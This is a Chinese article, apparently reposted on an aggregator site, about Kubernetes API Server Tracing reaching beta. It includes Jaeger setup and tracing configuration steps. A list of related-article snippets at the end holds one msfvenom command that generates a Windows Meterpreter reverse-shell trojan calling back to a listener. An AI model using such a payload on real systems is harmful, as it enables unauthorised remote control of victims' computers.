增强 Kubernetes 可观测性:API Server Tracing 特性已到达 Beta 版本

news2024/9/19 10:41:18
标题

在分布式系统中,很难弄清楚问题在哪里。 想象一个场景,这也是 Kubernetes 集群管理员最常遇到的问题,Pod 无法正常启动,这时候作为管理员,我们会先去思考这可能是哪个组件出了问题,然后去对应的组件查找日志, 结果发现问题可能是另一个组件导致的,这时候又去查找另外的日志,这还是最好的情况,我们能通过日志发现线索。有时候线索不是那么明显,我们可能就需要苦思冥想,到底是哪里出了问题, 有时候需要依靠猜测,花费了很多时间进行定位问题,这个时候就需要管理员对集群的各个组件都有比较全面的了解,这使得学习和排障的成本高昂。这种情况下,如果我们有分布式追踪,就可以清晰的看到是哪个组件出现了异常,快速定位到有问题的地方。

分布式系统通常存在不确定性问题,或过于复杂而无法在本地重现。跟踪通过分解请求流经分布式系统时发生的情况,使调试和理解分布式系统变得不那么令人生畏。分布式跟踪是一种工具,旨在在这些情况下提供帮助,而 Kubernetes API 服务器也许是能够调试的、最重要的 Kubernetes 组件。

在 Kubernetes 中,API Server 是管理和调度所有集群资源的核心组件,它接收和处理来自各种客户端的请求,并将它们转化为底层资源操作。因此,API Server 的稳定性和可观测性对 Kubernetes 的整体健康状态至关重要。

为了提高 Kubernetes API Server 的可观测性,帮助管理员更好地管理和维护 Kubernetes 集群。为此,Kubernetes 引入了 APIServer Tracing, 该特性在 Kubernetes API Server 中添加更多的跟踪信息,并将其收集到后端收集器中。通过这些跟踪信息,管理员可以更容易地追踪请求的来源和流转, 了解请求的处理时间和结果,从而更容易地发现和解决问题。这些信息还可以用于性能优化和容量规划等方面。

接下来,让我们开始对此特性一探究竟吧。

01

Kubernetes
API Server 追踪

设计详情:KEP APIServer Tracing #647

开启

  • APIServerTracing 特性门控(v1.27+ 不再需要特性门控)

  • tracing-config-file 配置文件

现状

负责的小组:由 sig instrumentation 负责

迭代版本:1.22 alpha,1.27 到达 beta版本

追踪的组件:API → etcd tracing

02

演示

步骤:

  1. 启动 Jaeger

  2. 启动 APIServer tracing(包含启动 etcd)

  3. 查看 Jaeger UI 观测追踪

启动 Jaeger 容器

Jaeger 是比较流行的分布式追踪 UI 工具,也是云原生计算基金会(CNCF)主持的第 7 个顶级项目(2019 年 10 月毕业)。这里选择 Jaeger 作为数据收集和存储的后端,以及可视化数据的 UI。jaegertracing/all-in-one 是专为快速本地测试而设计的可执行文件,可启动 Jaeger UI、收集器、查询和代理,并带有内存存储组件。

docker run -d --name jaeger \
  -e COLLECTOR_ZIPKIN_HOST_PORT=:9411 \
  -e COLLECTOR_OTLP_ENABLED=true \
  -p 6831:6831/udp \
  -p 6832:6832/udp \
  -p 5778:5778 \
  -p 16686:16686 \
  -p 4317:4317 \
  -p 4318:4318 \
  -p 14250:14250 \
  -p 14268:14268 \
  -p 14269:14269 \
  -p 9411:9411 \
  jaegertracing/all-in-one:1.43

详情: https://www.jaegertracing.io/docs/1.43/getting-started/

启动 Kubernetes API Server tracing

启动 Kubernetes APIServer tracing 在本文提供了两种方式进行测试。如果你是 Kubernetes 开发者,你可以直接在 Kubernetes 交互测试中直接测试;如果你是 Kubernetes 集群管理员,你可以直接在集群中配置相关参数。

启动 Kubernetes 本地交互测试

测试文件:test/integration/apiserver/tracing/tracing_test.go

修改 API Server tracing 测试代码&配置

本地的交互测试代码需要修改下配置,以便将其收集的数据发送到 Jaeger。

#test/integration/apiserver/tracing/tracing_test.go:125

if err := os.WriteFile(tracingConfigFile.Name(), []byte(fmt.Sprintf(`
apiVersion: apiserver.config.k8s.io/v1beta1
kind: TracingConfiguration
samplingRatePerMillion: 1000000
endpoint: %s`, "0.0.0.0:4317")), os.FileMode(0755)); err != nil {
  t.Fatal(err)
 }

启动 etcd

需要配置的参数:

--experimental-enable-distributed-tracing=true
--experimental-distributed-tracing-address=0.0.0.0:4317
--experimental-distributed-tracing-service-name=etcd

修改代码:

#test/integration/framework/etcd.go:82
customFlags := []string{
  "--experimental-enable-distributed-tracing",
  "--experimental-distributed-tracing-address=0.0.0.0:4317",
  "--experimental-distributed-tracing-service-name=etcd",
 }

currentURL, stop, err := RunCustomEtcd("integration_test_etcd_data", customFlags, output)

运行测试

cd ./test/integration/apiserver/tracing
go test -run TestAPIServerTracing

在 Kubernetes 集群中配置 API Server tracing

这里以 kubeadm 安装的Kubernetes 集群为例。

在 kube-apiserver.yaml 配置清单中配置特性门控 APIServerTracing=true(1.27及以上版本不再需要配置此特性门控)。

配置 tracing-config-file 文件,此处我们将此文件保存在 /etc/kubernetes/apitracing-config.yaml。

apiVersion: apiserver.config.k8s.io/v1beta1
kind: TracingConfiguration
endpoint: 10.6.9.3:4317
samplingRatePerMillion: 100000  #采样频率,根据自身需要设置
vim /etc/kubernetes/manifests/kube-apiserver.yaml
spec:
  containers:
  - command:
    - kube-apiserver
    - --feature-gates=APIServerTracing=true
    - --tracing-config-file=/etc/kubernetes/apitracing-config.yaml

保存退出即可,kubelet 会自动重启 APIServer。

在 etcd.yaml 配置清单中配置以下参数:

vim /etc/kubernetes/manifests/etcd.yaml
spec:
  containers:
    - command:
        - etcd
        - --experimental-distributed-tracing-address=<JaegerIP:4317>
        - --experimental-distributed-tracing-service-name=etcd
        - --experimental-enable-distributed-tracing=true

保存退出即可,kubelet 会自动重启 etcd。

查看 Jaeger

这时候我们可以访问 Jaeger了。地址:http://<JaegerIP>:16686/ 在 Jaeger 界面我们可以清晰的看到请求的追踪路径。

青色行来自 API 服务器,包括对 /api/v1/nodes 的服务请求,并向 ETCD 发出 grpc Range RPC。黄色线来自 ETCD 处理 Range RPC。

03

结语

SIG instrumentation 正在积极推动 Kubernetes 组件可追踪,现在 APIServer Tracing 和 kubelet Tracing 在 Kubernetes v1.27 都已到达 Beta 版本,敬请期待!

参考资料

[1]https://opentelemetry.io/docs/ kubernetes/enhancements#647

[2]https://github.com/kubernetes/enhancements/tree/master/keps/sig-instrumentation/647-apiserver-tracing# kubernetes/kubernetes#94942 etcd-io/etcd#12919

[3]https://kubernetes.io/zh-cn/docs/concepts/cluster-administration/system-traces/

[4] https://www.jaegertracing.io/ 

[5]https://github.com/jaegertracing/jaegerhttps://medium.com/opentracing/take-opentracing-for-a-hotrod-ride-f6e3141f7941


 本文作者 

刘梦姣

现任「DaoCloud 道客」开源工程师

Kubernetes SIG Docs Approver 

Kubernetes WG structured logging Reviewer

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/639145.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Parallel Desktop下的Centos 9 ping通网络,配置静态ip的全过程

目录 一、发现问题1. 找不到网卡配置文件2. 网络重启的命令一直无法执行成功 二、分析问题三、解决问题系统环境1. 打开网卡配置文件2. 修改ipv4配置3. 重载网卡配置文件4. ping通&#xff0c;可以正常上网了 四、疑问1. 如何确定自己是不是设置了静态ip2. DHCP是固定静态ip 的…

OC(iOS)中常见的面试题汇整(大全)

你如何理解OC这门语言的?谈一下你对OC的理解? OC语言是C语言的一个超集,只是在C语言的基础上加上了面向对象的语言特征,如:继承,封装,多态. 封装:把属性和方法封装成一个类,方便我们使用 多态:不同对象对于同一消息的不同响应,子类可以重写父类的方法,且…

SpringMVC简介及入门案例

1.SpringMVC简介 SpringMVC是一种基于Java实现MVC模型的轻量级Web框架优点&#xff1a;相较于Servlet使用简单&#xff0c;开发便捷。灵活性比较强。 后端做表现层技术开发的框架有Servlet&#xff0c;SpringMVC技术同样也是做表现层技术开发框架&#xff0c;JDBC以及Mybatis数…

Linux内核中内存管理相关配置项的详细解析6

接前一篇文章&#xff1a;Linux内核中内存管理相关配置项的详细解析5 六、Memory hotplug 此项只有选中和不选中两种状态&#xff0c;默认为选中。 此项展开后如下图所示&#xff1a; 1. Online the newly added memory blocks by default 对应配置变量为&#xff1a;CONFIG…

神经网络编程基础

1、二分类(Binary Classification) &#xff08;1&#xff09;、逻辑回归(logistic regression)是一个用于二分类(binary classification)的算法。所谓二分类是由输入到判断输出结果是或者不是。比如输入一个包含动物的图片&#xff0c;判断这张图片中的动物是否包含猫&#x…

成为优秀自动化测试工程师的7个步骤

在这里&#xff0c;我将详细解释成为测试自动化工程师的七个最重要的步骤。因此&#xff0c;所有希望将职业转向自动化测试的人都要注意所有这些。 1. 不要忽视手动测试 虽然我了解公司正在转向无代码自动化测试工具&#xff0c;达到专家级别并跟上行业自动化测试工程师的竞争…

ELK 日志采集使用

1.安装ELK整体环境 1.1.安装docker环境 Docker 最新版Version 20.10安装_docker最新版本是多少_猿小飞的博客-CSDN博客 1.2.先安装docker compose 安装docker compose_猿小飞的博客-CSDN博客 1.3.使用 Docker Compose 搭建 ELK 环境 1.3.1.编写 docker-compose.yml 脚本启…

从增强器Advisor窥探AOP原理

Spring创建Aop代理过程 AbstractAutowireCapableBeanFactory Object createBean(String beanName, RootBeanDefinition mbd, Nullable Object[] args)Object resolveBeforeInstantiation(String beanName, RootBeanDefinition mbd)Object applyBeanPostProcessorsBeforeInsta…

【算法基础】常数操作 时间复杂度 选择排序 冒泡排序 插入排序 位运算

常数操作 定义 一个操作如果和样本的数据量没有关系&#xff0c;每次都是固定时间内完成的操作叫做常数操作&#xff0c;比如常见的计算操作&#xff1a;加减乘除。 取出数组中任意位置元素可以叫做常数操作&#xff0c;因为数组的地址是连续的&#xff0c;计算机取的时候可以…

本地加密传输测试-业务安全测试实操(2)

3个测试点:加密传输,session会话,session注销会话 测试原理和方法 本机加密传输测试是针对客户端与服务器的数据传输,查看数据是否采用SSL (Security Socket Layer ,安全套接层)加密方式加密。 测试过程 测试验证客户端与服务器交互数据在网络传输过程中是否采用 SSL 进…

Linux基础知识4

Linux基础知识 适合有Linux基础的人群进行复习。 禁止转载&#xff01; shell编程 shell第一行内容格式&#xff1f; #!bin/sh&#xff0c;#!bin/bash&#xff0c;#!/bin/csh&#xff0c;#!/bin/tcsh或#!/bin/ksh等 执行shell脚本的三种方式 (1)为shell脚本直接加上可执行权…

【STL】 string类使用一站式攻略

目录 一&#xff0c;STL 1. 简介 2. STL的版本 3. STL 六大组件 4. 学习STL&#xff0c; 三境界 5. 学会查看C文档 二&#xff0c; string类 1. 相对于C语言&#xff0c;我们为什么还需要学习C的string&#xff1f; 2. 头文件 3. 常见构造函数 4. operator …

十三、SpringCloud

一、基本概念 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发&#xff0c;如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等&#xff0c;都可以用Spring Boot的开发风格做到一键启动和部署。 Spr…

HQChart实战教程62-自定义K线标题栏

HQChart实战教程62-自定义K线标题栏 K线标题栏步骤1. 替换k线标题格式化输出函数2. 格式化输出函数说明HQChart插件源码地址完整的demo源码K线标题栏 K线标题栏显示的是当前十字光标所在位置的K线信息,显示在K线窗口顶部。一般会显示品种的名称,周期,开,高,低,收,成交量…

msf渗透练习-生成木马控制window系统

说明&#xff1a; 本章内容&#xff0c;仅供学习&#xff0c;不要用于非法用途&#xff08;做个好白帽&#xff09; &#xff08;一&#xff09;生成木马 命令&#xff1a; msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.23.46 LPORT4444 -e x86/shikata_ga_nai -…

AB32VG:SDK_AB53XX_V061(3)IO口复用功能的补充资料

文章目录 1.IO口功能复用表格2.功能映射寄存器 FUNCTION03.功能映射寄存器 FUNCTION14.功能映射寄存器 FUNCTION2 AB5301A的官方数据手册很不完善&#xff0c;没有开放出来。我通过阅读源码补充了一些关于IO口功能复用寄存器的资料。 官方寄存器文档&#xff1a;《 AB32VG1_Re…

Shapefile资源下载网址(整理自用)

1、按国家下载&#xff08;路网、自然特征、POI、江河海...&#xff09; 不同国家的数据资源可能不一样。 Download Free International World Country ArcGIS Arc GIS Shapefiles 2、按国家下载&#xff08;行政划分&#xff09; 自动包含国家、省、城市等多级的shapefile …

Bitmap和Drawable的区别

日记 其实感觉最近事情挺多的&#xff0c;所有最近很多博客都是中午或者晚上休息的时候写的&#xff0c;甚至是项目编译的时候编写的。说真的&#xff0c;我最近感觉&#xff0c;对于那种大量的时间&#xff0c;我反而不能很好的运用&#xff0c;反而对于碎片时间&#xff0c;…

数据结构之堆的详解

数据结构之堆 一.堆的概念1.1 堆的基本概念1.2 堆的存储方式 二.堆的操作和实现基本框架建堆插入删除 三.堆的应用优先队列top-k问题&#xff1a;最小的K个数或者最大k个数堆排序 一.堆的概念 1.1 堆的基本概念 堆是一种特殊的完全二叉树 堆分为小根堆和大根堆,大根堆的根节…